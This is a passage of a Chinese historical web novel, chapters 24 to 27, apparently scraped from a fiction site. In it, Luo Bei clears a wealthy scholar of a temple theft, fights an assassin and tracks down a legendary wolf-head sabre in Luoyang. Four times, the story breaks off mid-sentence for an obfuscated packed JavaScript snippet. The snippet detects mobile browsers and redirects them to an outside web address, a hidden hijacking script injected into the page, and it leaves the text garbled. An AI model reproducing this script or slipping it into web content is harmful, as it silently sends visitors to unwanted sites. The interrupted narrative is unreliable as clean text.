洛北稳住身形,拦在这些粟特胡商之前,以粟特语问道:“发生了什么事?这里是大周境内,谁允许你们这样喊打喊杀的?” 那伙粟特人见他的粟特语十分流利,当下没再动棍棒,只喝道:“哪里来的小东西,少管闲事!你身后那个家伙偷盗了我们的宝物,我们要把他抓出来。” 洛北转头去看这锦袍公子——正是早上与他打过照面的王翰,当即哑然失笑,居中调解道:“这恐怕是有什么误会,这位公子是太原王氏的公子王翰,家里富甲一方,不至于到了偷盗的地步。他手中的这柄扇子便是价值万金的古物。” 领头的粟特人一副将信将疑的表情:“不能吧,从早上到中午,就只有这么一个生面孔,除了他拿了我们的宝物,还有谁?” 洛北无奈地转过头去,以汉话翻译道:“王公子,这群粟特人怀疑你偷了他们的宝物,你可有什么用来证明自己身份的东西?” 王翰听他们叽里咕噜了半天也没听明白一个字,听到洛北这样询问,更加不耐烦了:“哼,要拿钱买个清净,我这里有的是钱。何必和这群胡人理论,掉了我的身价。” 洛北有些无奈,他早听说这位王翰公子恃才傲物的个性,不想他却在这个时候发作起来,只得稍稍转圜了词句,对这群粟特人道:“王公子说,他不是贪图银钱的人,若是真有东西丢失,他可以拿银子出来谈。” “这用银子可赔不了。”忽而一旁有个极有威严的老迈声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281646|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音打断了这番对话,众粟特人闻言纷纷低头行礼,退在一边。 洛北抬头看去,那里站的是一位白发老者。这老者身材高大,肤色雪白,身着一件华丽的长袍,头戴高帽,腰间和脖间都挂着数条宝石饰物,显然是位高权重的人物。 裴伷先已经认出了此人就是阿罗憾,他率先低头行礼:“大萨保。” 洛北拽了一把王翰,叫他一起低头行礼:“见过金山郡公。” “裴老板怎么在这里?”阿罗憾脸上露出惊讶神色,“您认识这个小贼?” 王翰听了这句话,倒没有因为阿罗憾话里的“小贼”二字跳起来,反倒是回头看了一眼裴伷先:“您就是前宰相裴炎的侄子,在西域富甲一方的大商人裴伷先?” 裴伷先笑了笑,他已经不习惯别人以“宰相裴炎的侄子”称呼他了:“我应当认识公子吗?” 王翰迫不及待地自我介绍:“不不不,我是太原王家的王翰,家里的香料生意便是和你往来,我一直久闻你大名,不知竟在此处遇上了!” 裴伷先自然也听过太原王翰风流才子的名声,他闻言点了点头,又问阿罗憾道:“请问大萨保,寺中是什么东西丢了?这位王公子家财万贯,绝非贪财之人。” 阿罗憾苦笑道:“裴老板,实不相瞒,王公子偷走的是我们供奉在祆神的圣坛上的一把宝刀。来年的赛祆大会上,是要拿这把刀施行法术的。” “宝刀?什么宝刀?”王翰不明就里,“我只是路过此庙,见其中人头攒动,就来看看热闹。喝了几杯酒,在这里睡得半梦半醒,就被这帮胡人给赶起来了。我可从未听过什么宝刀,不要凭空污蔑我的清白!” 洛北和裴伷先对视一眼,他们都久在西域,熟悉祆教的“赛祆”风俗,这是祆教徒最为盛大的节日之一,需要祭祀圣火,杀猪宰羊,然后奏起各种乐器的歌舞,欢宴不停,以祈求祆神的赐福。 酬敬完祆神之后,再会有几位法力高强的“祆主”出来,拿过一把锋利无比的宝刀,当场把刀刺入腹中,让刀尖从后背穿出来,任由肠肚流血不止,再取圣火施展法术,把刀抽出,当即就会恢复原样。 但据他们所知,这个仪式中并没有要用固定的一把刀的说法。 洛北道:“教中风俗神圣,恐怕法器是不允许外人随意观看的吧?要是真如我这伙伴所说,他走进寺庙只喝了几杯水酒,恐怕他连见都没有见过此物。” 阿罗憾倒也没有打算偏袒自己人,他转头以粟特语斥问了那群粟特人几句,又道:“他们说,是看守圣物的海藏指认了这位王公子。” “那海藏如今在何处?我愿意与他当面对质!”王翰怒道。 阿罗憾点了点头,挥手派遣一个侍者去找那海藏。那侍者飞奔而去,半响带着些怔愣回到了屋子里,抬头迷惑不解地看着一众人道:“海藏他......他死了。” 阿罗憾眉头紧紧皱起:“他怎么死的?” “不知道,他一个人死在屋子里,房门都紧闭着,手边是那把带血的,带血的宝刀!” 25. 第 25 章 众人一窝蜂地涌到屋子里去看。那名叫海藏的粟特人仰躺在地面上,怒目圆睁,正对着墙壁上高大的祆神塑像。一柄寒光闪闪的唐刀被丢在他身边的地上,不知疲倦的圣火在墙壁的神龛里熊熊地燃烧着。 “供奉圣火的人出了这样的事情,实在是不幸。”阿罗憾叹了口气,“来人,去禀报县衙门,请他们来调查此案。在场的诸位,你们谁也不能走。都留下来等待官府的发落。” 王翰冷笑一声:“哼,谁不知道你们打的主意,那洛阳令张昌仪可是女皇男宠二张兄弟的族亲,素来是认钱不认人的主。” “有一次他得了一个姓薛的候补官员百两黄金,替这姓薛的在朝中求官,到了吏部又忘了他的全名,竟让吏部把八十多位姓薛的候补官员一起授了官职。” “要是到了那个地方,凭借你们手中的银钱,还不能把白的说成黑的吗?” 这话说得有些诛心,连阿罗憾的脸色都变了。洛北忙出言安抚阿罗憾:“郡公,王公子一时失言,你不要放在心上。但此案确实与王公子无关。众人追着王公子出来的时候,海藏还活着,王公子被众目睽睽盯着,总不能分身去杀人、还刀吧?” 阿罗憾沉吟片刻:“诚如洛公子所言,我并不怀疑王公子杀人。但盗走宝刀一事确与王公子有关。而今宝刀就出现在海藏的死亡现场,我不能让王公子就这样离开。” 洛北说:“郡公,如果你把王公子扣在这里,才正中了杀人者的下怀。”他转头去问那一干胡商:“敢问海藏家里有什么亲人?” 一众胡商大都不认识这个气度非凡的少年是什么人,但他们都认识他背后的裴伷先——此人掌握着半条丝绸之路的财富,是丝路上首屈一指的富商之一。 几个人对视几眼,有个胡人站出来说:“他自己来中原经商,家里除了几个仆人就没有人了。平常也就喜欢和几个禁军在一块儿喝酒玩牌。” 洛北轻轻一笑,流金似的眼眸紧紧地盯着说话的人:“他平时也与洛阳县衙有往来吧?” 此人为他的目光所慑,不由自主地低下头去:“他......是,他也和几个县衙的人喝过酒。” 阿罗憾问:“这和海藏平日的交往有什么关系?” 洛北用汉话给他们解释:“其实此事从一开始就是海藏和洛阳县衙那些人设下的局。海藏知道王公子家财万贯,见他来到寺中,故意在他的酒中放入迷药,又诬陷他偷盗东西,就是为了把他关入洛阳县衙的大牢,好叫他的家里人拿钱财来赎。若你们不信,可以去找人验一下王公子杯中的酒是否有迷药。” 阿罗憾示意一个侍从跑步去办,又问洛北道:“若诚如公子所说,那又是谁杀了海藏呢?” 洛北摇了摇头:“这我可就猜不出来了,寺中人群来来往往,可能是仇家,也可能是债主,更大的可能是分赃不均的同伙。不过不论是谁,都与王公子无关。郡公,若你执意要留王公子去见洛阳官府,只会害得无辜之人身陷牢狱之中。” 正在阿罗憾不能决断的时候,那侍从匆忙来到人群之中,向他们道礼:“老爷们,我把王公子用的杯子取来了,取了一点点酒喂了小猫——”他向众人举起手中睡得香甜的猫咪,这结果已是不言而喻的了。 阿罗憾深深叹了口气,向洛北和王翰各道一礼:“请两位恕我不恭之罪。” 洛北摇了摇头,躬身还礼:“郡公言重了。” 阿罗憾看向裴伷先:“出了人命官司,此事是一定要向洛阳县衙报告的。裴老板,你是本寺的财主,也是我的朋友,也与这两位公子相熟,可否请你留下代为说明?”他似乎是怕裴伷先见怪,又补上了一句:“我保证会保护你的安全。” 裴伷先看了一眼洛北,见他微微点头,也随即应允:“既然是大萨保请求,我自当应允。” 洛北与裴伷先约定了再见的地点,便和王翰一起走出了祆寺。 此刻已是下午时分,林间微风吹拂,王翰绷着许久的神经终于缓解下来,不由得长长地舒了一口气:“好险,好险,谁能想到为这一口酒闹出这么多事情来。” “王公子,你出身世家大族,又富甲一方,何以这几次出游都是孤身一人?”洛北道,“若是有一群仆役前呼后拥的,这些人也不会肆无忌惮地来找你的麻烦。” “实话说,我就是厌倦了那些人跟着的日子,才自己出来透透气的。谁想到遇到这样的祸事。”王翰说到此处,不由得好奇道,“对了,洛公子,你到底是什么人?裴伷先这样的传奇人物都对你服服帖帖.......” “王公子误会了,我先前在凉州当参军的时候,救过裴伷先的性命。”洛北四处张望,想着找个话题把此事敷衍过去。 忽而他神色一动,一手从腰间抽出唐刀,一手推开王翰,反手一格,“叮”的一声脆响,一把短刀被他挡了下来。 那刺客从树后闪出,他身着黑衣,蒙着面,完全看不清模样,只见他身形矫健,见势不妙立马变招,他一脚后撤,一脚前点,身形如猎豹般扑向洛北。 洛北身形一动,如游龙穿梭,避开此击,又反手向此人刺去。那刺客也不示弱,两人便在林间交起手,两人都是高手,身形变换之间,只见剑影如织,刀光如电。 洛北很快注意到,这个刺客的刀法带着军中特色,一招招都是致人死地的杀招。他心念一动,翻身向刺客的咽喉刺去。 那刺客忙着向后仰头,想避开此击,却没想到这只是洛北虚晃一招。见他中计,立刻反手下刺。 刺客拿刀的手腕被他刺中,短刀咣当坠地,立刻愤而退去,消失在林间不见踪迹。 因为身边还有王翰,洛北也不好再追。他一手扶起被他推倒在地的王翰,一手将刀回鞘:“王公子,你没事吧?” 他声音温煦,带着安抚人心的力量。王翰的心绪才算平静下来,他看向洛北:“洛,洛公子,你没受伤吧?” “没事,这个人还称不上是我的对手。”洛北摇了摇头,他在这个杀手身上感到一种奇怪的熟悉感,这种熟悉感已经变成一种不详的直觉: 他断定此人不仅与海藏的死有关,还应当与宋璟的遇刺案有关: “王公子,今日之事,说明你的财富已被张氏兄弟盯上了。如果我是你的话,就会立刻离开洛阳。否则还会有更多冤案栽在你的头上。” 王翰苦笑一声:“我何尝不想回太原去过我的好日子啊。但我是来洛阳参加明年的春闱的,倘若这个时候回到太原,定会被家中尊长一顿臭骂,罢了,我去其他地方躲一躲。你觉得长安怎么样?” 洛北笑了笑:“若是公子不想离开洛阳,这几日也最好不要出门。” 王翰遗憾应允,眼下的情景,他也不好意思邀请洛北痛饮一番,只有约定日后再见。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281647|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 洛北没有和王翰一道,他脑子里装的事情太多,要靠漫长的踱步一一整理清楚,而祆寺外的密林又恰好是个不被人打扰的好去处。 祆寺内,一位头戴长纱帷帽的紫袍女郎立在室内,正听阿罗憾汇报此间始末。阿罗憾已是朝廷公爵,对着这个女郎却是十分恭敬,好不容易说完,只低头等着女郎的回答。 女郎想了想:“王翰为人恃才傲物,眼高手低,不足为惧。但这个洛北吗.......倒是是个神秘的人物。你可问过裴伷先为何对他如此恭敬?” “裴伷先只说,此人在边塞救过他的性命。”阿罗憾道。 “语焉不详,必有反常.......”女郎道,“找几个人,盯着他们的动静。不要让他们折腾出事情来。” 待到日暮时分,裴伷先才同洛北在客店中相会。裴伷先换了身圆领胡服,随意地散着领子,袖口处用腕带扎起,像个平常的武人。洛北看他一眼,知道他这样打扮必有原因:“有人跟踪?” “几个小喽啰,都被我甩掉了。”裴伷先摇了摇头,在桌边坐下,用手指在桌上一抹,立刻沾到一股油腻,“这地方实在是不合公子的身份。公子还是搬到我那里去吧。” 这家客店是洛阳城中极不起眼的一座,来往的都是贩夫走卒,裴伷先闻喜裴氏出身,又做久了大商人,当然不能习惯这里。 洛北轻轻一笑:“正是这样的地方,你穿这样的衣裳来才不会引起注意。”他扫视了周围一眼,改用突厥语说话:“海藏的事情如何?” 裴伷先颔首,心照不宣地也改用突厥语说话:“下午县里来人验了尸首,说是被人用短刀击杀而死,长刀只是丢在那里掩人耳目。眼下正在一一讯问当日在场的粟特商人。” 洛北点了点头,又说了自己和王翰在林间被人刺杀的事情:“我觉得此人必是杀死海藏的那个凶徒,不是个好对付的角色,你的人在城中看到他时,可以向我们禀报。” 裴伷先点头应允。为了避人耳目,他们白话了半日丝绸之路上的货物价钱,直到眼看着天色将晚,宵禁开始,裴伷先才离开客店。 洛北这一天折腾得实在疲累,干脆去了客店外的浴房内洗澡。那浴房用黑砖修葺得很精致,几个殷切的伙计正在替人搓澡。洛北不想和人说话,独自冲洗过身子便去了外园的温泉池内浸泡。 那温泉池三面围墙环绕,墙内种有几棵苍劲的松树。洛北闭上眼睛,难得把头脑放空了一会儿,再睁开眼时已是神清气爽。他环顾四周,似乎察觉到什么,曲起手指轻轻叩了叩池边的地板:“滚出来!” 从松树上滑下来一个十分枯瘦矮小的男人,他约莫四五十岁模样,身上好像被什么东西打得伤痕累累,只有一只眼睛睁着:“只是想和你说几句话……公子。” 洛北冷笑一声:“那你最好祈祷我会对你接下来的话感兴趣,否则我会把你扔进水里。” “公子,这里是神都,不是你的塞外蛮荒之地。我知道你肯定在塞外杀了不少人,可要在神都内干成大事,靠的不是身手,而是智慧。”那男人道,“这一点我比公子强得多。” 洛北皱了皱眉:“你是干什么的?” “和公子一样,抢人财物过活的。”那男人舔了舔嘴唇,“只是比公子更高明。公子和你的朋友需要刀剑和快马,而我只需要一个人,一双手,和一个灵光的脑袋。” 26. 第 26 章 这个独眼人自我介绍名叫李弘泰,是个懂得相面的道士:“公子一进客栈,我就留意上你了。你在客店登记簿上写上并州郎中的身份,但天下什么样的郎中会让自己一身是伤?” 他指了指洛北的臂膀:“我粗略地看过,光你手臂上的伤口就是一柄软剑留下的。这年头用软剑的大多是些公子哥,或是力道不足的女郎。” “更别提你和你那神秘的朋友,先乔装改扮,又说些胡人语言故弄玄虚。“你们必是两个从塞外来的悍匪,想来洛阳做一桩大案。” 洛北被他逗乐了,顿时觉得今天在祆寺这一无所获的搜寻也不能算是徒劳无功,至少他还没有因为错误的线索把思路引到歧途上,他似笑非笑地拍了拍水面:“我给你三个数的时间,三,二......” 他的“一”字尚在空中,那枯瘦的男人已经溜得远远的了。洛北起身擦干,换上一套簇新的衣袍,转回客房休息。 第二日清晨,他乔装容貌,换上一副突厥人的打扮,再次向立德坊的祆教寺庙而去。他向门前的祭司言明自己是随商队来洛阳的突厥武士,想要进入圣坛参拜圣火,又奉上些碎金作为捐赠。 那祭司见他打扮朴素,本不想理睬,但见他态度恭敬,也就替他安排了个名额,又道:“进了圣坛不要乱看!” “是是是。”洛北只唯唯诺诺几声,便随着人群进了寺庙内。昨日的杀人凶案似乎一点都没有对这寺庙造成影响,往来的各路胡商依旧是络绎不绝。 圣坛内的血迹已经被清洗干净,圣火依旧熊熊燃烧着。洛北沿着墙壁一路摸索,终于在神龛下方摸到一处隐蔽的机关,他伸手扣动机关,祆神像转了个身,露出一条黑黢黢的通道。 洛北犹豫了一下,根据他的经验,大部分祆教寺庙的密道中都设有重重机关,并不好闯。他正想着要不要孤身犯险,外头一阵骚动打乱了他的注意。他快走几步走出屋门,正看到一队耀武扬威的衙役从庙外走进来。 他咬了咬牙,折身正要进隧道中。身后的一片衣角却被一个男人抓住——正是前天晚上同他打过照面那独眼男子李弘泰。 “能独自寻到这个地方,看来你还不是一个纯粹的傻瓜。只是你这被盯上的速度,确实比我想象的更快。”李弘泰道,“不要担心,公子,我会帮你逃出去的。” 洛北猜测这队衙役并不是冲着自己来的,但此刻留在这是非之地并非上策。他点了点头:“前头带路。” “不,你走前面!”李弘泰沉声道,“把你的手从刀柄上拿开!别想过河拆桥,一出去就砍掉我的脑袋。你们这样的塞外悍匪,什么事情干不出来。” 洛北哑然失笑,只得照他的指示走在前面。 李弘泰指引他走出圣坛所在的房间,拐进一条狭窄的走廊,他似乎对这座祆教寺庙颇为熟悉,穿过一条漆黑乌臭的过道后,又进了一条黑暗的小巷子。 一股香料的味道飘来,洛北后知后觉地意识到,他们应该在后厨的位置附近。他们就这样穿过一片迷魂阵般的走廊,时上时下,忽左忽右。 洛北很快迷失了方向,全然不辨东南西北,直到李弘泰将他一推,推出一条窄巷:“好了,我们到了。” 此刻林风吹拂,洛北才意识到自己回到了祆教寺庙外的那片密林中。他有些好奇李弘泰到底是怎么把他带到此地的:“你是个道士,却对这祆教寺庙很熟悉?” “这不是现在该说的话题。”李弘泰说,“说老实话吧,你也是为了那把宝刀来的,是不是?” 洛北全然不知道他说的宝刀是何物,但他既然这样问了,洛北就点点头,佯作高傲地说:“难道阁下也对刀有兴趣?” “刀剑不过是一种工具,我凭头脑杀掉的人肯定比你用刀剑杀掉的更多。”李弘泰道,“只是那刀身上带着战无不胜的太宗皇帝的传说故事,能在黑市中卖出千倍万倍的高价——多的是你这样的人重金买它。” 洛北来了点兴致:“太宗皇帝的传说故事?” “可怜的人。你只知道这把刀削金断玉,就千里迢迢地来洛阳寻找吗?”李弘泰极同情地望了洛北一眼,清了清嗓子: “太宗文皇帝在太原起兵之前,常在边关游走,曾与两位突厥贵胄结为香火兄弟,一位是东突厥的突利可汗,一位是西突厥的奚利邲咄陆可汗。” 洛北饶有兴致地盯着李弘泰,眼前的道士大概不知道西突厥的奚利邲咄陆可汗本名就是阿史那弥射,更不会知道洛北名义上是阿史那弥射的曾孙。 李弘泰全然不觉,只自顾自地说道:“后来大唐建立,这两位可汗相继归附,太宗大喜,诏令有司用一块进贡来的陨铁打造成三把宝刀。这三把宝刀材质奇特,都可以削金断玉,极其耐腐。” “一把留在宫中,成为太宗皇帝的佩刀。一把上有狼头的,赠给了东突厥的突利可汗。一把上有飞鹰的,赠给了西突厥的奚利邲咄陆可汗。” “太宗皇帝的那把如今还在宫中,西突厥的那把相传正在吐蕃……至于东突厥的这把,最近又出现在人间,传闻就在这祆教寺庙中。” 洛北皱了皱眉,他已经联想到了阿罗憾所说的那把宝刀——但他记得很清楚,那把沾血的宝刀上没有任何纹样。 “最近来往的不少胡商,都打着这把宝刀的主意。不过我已经找到了宝刀的下落,就差个人和我一道去取。”李弘泰沾沾自喜道。 洛北凭借直觉猜测此人并没有说谎。但其中错综复杂,他实在很难想通,只能佯作不信,诈上他一诈:“你?就凭你?或许你偷东西有些手段,可刀剑的事情……你能懂什么?” “公子可不要小瞧人。”李弘泰正色道,“我可有一套积年的手段,多少年从无失手。” “哦。”洛北越发不屑地打断他,“是是是,你师父传你一套独特的法门,又教你不可多用,用多了就遭天谴……” 李弘泰被他一激再激,哪里按捺得住,当即恨声道:“告诉你也无妨,凭你这化外出身的凶劣匪徒,这辈子也学不到行家的一星半点。” “我要出手,会花上一个月功夫观察那宅子,还要和仆人及周围邻居攀谈,便是花上些银钱也不在意。” “之后嘛,我会藏在橱柜、衣柜这样隐蔽的地方,一藏就是几个时辰,那些自高自大的贵人们以为自己一个人在家的时候,其实我在暗处偷偷盯着他们呐。” 他越说越得意,洛北紧紧盯着他,此人的心思之狡诈确是他生平仅见,更可怕的是,此人竟真能从这些行动中获得愉悦。 李弘泰笑道:“等到我真的去偷东西的时候,没人比我更清楚那些珍贵的宝贝被偷偷地放在哪里。最好笑的是,那些人要过了好几天才能发现东西已经不翼而飞。” “他们不会想到是盗贼所为,只能怀疑自家人。哈哈哈哈,看到他们在家里互相怀疑,吵吵嚷嚷的模样,真是我生平一大乐事!” 李弘泰大笑了一阵。洛北只轻蔑地一点头:“原来你的相面奇准是这么来的,但你为什么不偷偷地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281648|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拿走那把刀,却要找我帮忙呢?” 这话倒是戳中了李弘泰的心事。李弘泰冷哼一声:“这都怪那刀原来的主人太不争气,我明明看到他在灯下和他妻子夸耀把柄宝刀,一转眼,他就因为赌钱把它输给了海藏。” 海藏就是祆寺中的死者,洛北皱了皱眉:“可我明明见过那把沾血的宝刀,上面并无狼头的图案。” “早知如此,那日我也该潜在祆寺里。”独眼人道,“为了找到这把宝刀,我还花了好大力气潜入衙门里,结果拿到的不过是把平庸的货色。” “怎么,你也没想到?”洛北问。 “这缘由并不难想,肯定是那原来的主人不肯把宝刀交出去,找了把差不多的替代。可惜我问了他好久,他都不肯承认。”李弘泰说着,露出一股令人生厌的笑容,“不过他如今已经死了,他那妻子一个人在家,我又不巧抓住了她一点把柄,管叫她把刀交出来不可。” “我可不会对弱女子动手。”洛北断然拒绝,“我不干这样的事。” “没叫你去威胁她。我说你这榆木脑袋,除了动刀剑就没得别的法子了吗?”李弘泰从腰间翻出一只小荷包,从荷包里拿出一只漂亮的鎏金耳环: “我是在一个达官贵人的宴席上捡到她的这只耳环的,那屋子里还留了换下来的衣裳和首饰,你说,一个漂亮的女人乔装改扮溜进宴席,是为了什么?” 洛北摇了摇头:“这我哪里知道。” “自然是去私会情郎啦。她正在为丈夫守孝,哪能公开和人私会,只好乔装改扮一番,结果被我抓个正着。”李弘泰情绪越发激动起来,“哼,这班大家贵妇,裤带扎得比……” 洛北不愿听他越说越离谱,也想杀杀他这嚣张气焰,开口打断了他的话:“既然这样,等刀换了钱来,咱们得五五分成。” “五五?!不成不成!”李弘泰转身要走,却看到洛北好整以暇地立在原地,当下气焰先软了三分:“□□吧,你总要可怜可怜我为打探消息花出去的那些银钱吧?” “就是五五,否则免谈。”洛北斩钉截铁地道,“我猜原主大抵是个禁军军官,而阁下这副尊容一旦出现在那位遗孀的门前,就会被左右那些禁军军官们打出去。” “等一等?你怎么知道原主是个禁军军官?”李弘泰的脸色一下子沉了下来。 “这是个很简单的推论,且不说海藏平日里就喜欢和禁军一道打牌。”洛北摊开双手: “就说这把刀吧,突利可汗早逝,这刀应该被他传给了自己的儿子贺逻鹘。贞观十三年时,贺逻鹘受人裹挟参加了九成宫叛乱。他因太宗的仁慈逃过一劫,想来这把刀却是再也留不住了——这刀如果没有被收归宫中,那么一定是到了当时参与平叛的禁军军官手中。” 李弘泰的脸色阴晴不定,洛北似乎比他想象的要难掌控一些,但这样容貌俊美,身手出众,又在洛阳毫无根基的匪徒可不是天天都能遇到:“好吧。我答应你五五分就是了。”他把那耳环放在洛北手上,“记住,你要先哄她几句,让她放你进门去,再趁她不备,拿出耳环来吓她一跳……” “好了。”洛北接过耳环,止住了独眼人喋喋不休的念叨,他对别人的私事大多时候敬而远之,也不打算真的地去讹诈那遗孀。但这把刀显然是个很重要的线索,它串起了目前所有的问题和线索。所以值得他走一趟,“我这就去。明日一早,仍在这里见面。” “等等,好歹把这身突厥人的打扮换下来,换身好衣裳!” 27. 第 27 章 洛北换下突厥人的打扮,重新换了件半新不旧的月白绸袍,向李弘泰告诉他的地址走去——那是洛阳城中极靠近宫门的“承福坊”,一向为禁军和他们的家眷们居住。 他刚进坊中,便看到有人聚集在一户门前。 洛北走过去一看,一个衣着华丽的中年男子带着几个随从,一边拍门,一边高声喊道:“别以为锁着门就可以装作不知道。小娘子,你当人死了就可以不用还债了吗?今日若是识相,出来乖乖地和我走,我保你衣食无忧。等老子把这里拆了,把你抓出来,你看老子怎么收拾你。” 洛北不喜他那副凶恶嘴脸,环顾四周,自地上捡了一块碎石,反手扔了出去,正中那男人眉心。一抹血立刻从那男人的眉心流了下来。 洛北自腰间抽出刀,冷声道“骂完了没有?骂完了就快滚!” “哪来的小白脸,敢管老子的闲事?”那中年男子示意几个随从一齐上前。洛北轻轻一笑,飞起一脚踹开一人,又用刀尖划破一人衣襟,刀锋正架在那男人的咽喉上: “我不想再说第二次,现在就走,我饶你不死。” 那中年男人唯唯诺诺几声,待到洛北一放手,立刻带着人逃也似的走了。 洛北收了刀,走到门前,确认几处特征,知道这就是那宝刀原主的家。他轻轻叩了叩门:“夫人不要惊慌,外头的人已经走了。” 门“吱呀”一声,一个容貌温婉,一身素缟的女子怯生生地探出头来,她约莫二八岁数,神情紧张,但看到洛北那张俊美温和的面容时,稍稍镇静下来:“多谢公子出手相助。”声音里还带着一点颤抖。 “夫人不要惊慌,我是你丈夫生前的朋友,外放许久,甫一回京,便闻此噩耗。”洛北道,“夫人可否允许我入内为死者上香?” 那女子点了点头,开门放他走了进去。室内一片混乱,原本供奉着牌位的香案已被推倒在地,香炉滚落一旁,灰烬四散,檀香的烟雾在空气中弥漫,却掩盖不住那股混乱的气息。 四处散落着桌椅板凳,有的断腿折臂,有的倒扣在地,木屑和碎布散落一地。墙上挂着的画像也被扯下,卷曲着躺在角落,显得无比凄凉。 “让公子见笑了。”夫人神情悲伤,一双小鹿似的的眼眸盯着地面,声音哀婉,“家里这些东西……在他活着的时候就能卖的都卖了,没卖的也被这起子要债的打烂了。妾身……妾身去给公子端碗茶来。” “不必麻烦。”洛北道,“我此来特为瞻仰死者遗容,缅怀故人。敢问夫人,可否打开棺盖让我瞻仰一眼?” 这要求多少有些无礼,夫人为难道:“按说公子救我性命,妾身不该拒绝,只是.....只是死者已经安眠,公子何必再去打扰他的宁静呢?” “夫人不必担心——”洛北话在空中,人已经来到棺材前,双手用力推开了棺盖。死者脸色灰败,躺在棺木中,右手的手腕上还有当时被洛北刺伤的痕迹。 洛北暗道了一声奇怪,抬头却看到那女子眸光盈盈,颇为幽怨地望着他,他才意识到自己这举动到底有多怪异:“夫人恕罪......” “妾身哪里敢怪罪公子,只是如今公子眼见为实,不知道可放心了?”夫人低声道。 洛北觉得她这话里有些玄机:“夫人误会我了,我确实是他的朋......” “公子,亡夫在世时,并无朋友。”夫人轻轻地打断了他,“他好赌钱,已将周围的朋友亲人都借了个遍,还有人被他害得自己积蓄全无。不然刚刚外头闹成那样,邻家的几个军官为何不来出头?公子仁义出手,大概不过是希望自己的债务有个偿还,只是,只是妾身的嫁妆也被他卖的卖当的当,连这座屋子,也不知还能住几日......请公子看在死者的份上,放过......” 她话到最后,已是泣不成声,扑通一声,要给洛北下跪。 洛北忙将她拉起来:“夫人何必如此。”他本想说自己不是来收债的,只是看看这房间的状况,恐怕这女子已被这接二连三的债主吓成了惊弓之鸟,“其实,夫人家中有一样东西,可值万金,不知道夫人可能割爱?如果愿意,在下可以出钱替夫人摆平债务。” 那女子低头擦着眼泪,闻言不由得苦笑:“公子说笑了,亡夫生前就差把我也卖了抵债,倘若真有万金之物,他能不知?” 洛北摇了摇头,举起腰间的宝刀:“夫人不妨想想,你家中是否有把与我手边这把样式相仿的刀?” 那女子盯着洛北手中的刀看了半晌,忽而想起什么似的,飞奔到了后堂,过了很久,才双手捧出一个满是灰尘的包裹,她抖落了一下包袱皮,从中拿出一把刀来,正与洛北手边的那一把相似:“公子说的,是这个吗?” 洛北接过刀来,抽出一看,刀刃上绽出一团柔和的华光,待到光芒散去,果真在刀柄前的刀身上发现了一只狼头的花纹:“便是此物。夫人若肯割爱,我愿出钱购买。” “公子有所不知......此刀乃是亡夫的祖传之物,他生前爱若至宝,便是没钱吃饭了,都不肯出卖。但有一日他去祆寺,和那里的商人们打牌,输了好多好多钱,没办法,只得拿这东西去了。结果那天,他回来疯疯癫癫的,说什么真的假的.....” 那夫人微微偏过头去,像是很不好意思似的:“妾身双亲早亡,能依附的只有这个丈夫。所以一直不敢过问他的事情,见那天他实在生气,妾身就问了一句。听亡夫的口气,这好像是一把假刀。” 洛北摇了摇头:“我想这应该是祆寺里的那些泼皮无赖想让他多赔些钱编出来的。以我之见,此刀的价值绝对在万金之上。” 夫人低头笑了:“倘若公子真的喜欢,就拿去吧。我一个妇道人家,要些刀剑有什么用呢?再说,等到亡夫落葬,我恐怕也要变卖家私,离开洛阳了。” “既然如此,”洛北从袖中掏出一锭金子,放在桌上,“这锭金子便作为夫人在别处安家的财资吧。” “这怎么好意思。”那女子再三推脱,但终究拗不过洛北意志坚定,只得讪讪收下。她连着道了好几声谢,只道是此刻已到了宵禁的时候,坊中不好找客店,要留洛北休息一晚。 “我一个外男,深夜留宿在孀居的女子家里,恐怕对夫人的名声不好。”洛北婉拒了邀请,只拿着那把宝刀出了门。 此刻夜色深沉,早就过了宵禁的时候,洛北不能出坊门,在一众屋舍里转了几转,也没找到一家开门的客店——看来那女子确实没说错,这坊中不好找客店。 洛北实在无奈,只得找了个干净的墙根儿,坐下来休息一会儿。他一日奔波,疲惫不堪,脑海中都来不及把近日发生的一切串上一遍,便将头靠在自己膝上睡着了。 他又做起了噩梦,落雨的驿站,刀刃碰撞声一片,最后拿刀向他砍过来的那个人,竟生着一张那死者灰败的脸。 洛北于噩梦中惊醒,天光已然微亮,他睁开眼,只觉得头脑昏沉,越发疲惫,正要扶着墙站起身,一盏透亮的风灯照到了他的面前。 “什么人在那里?”那提灯的仆役高声问。 洛北远远地瞟过去,看着那仆役身后的人身着华 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 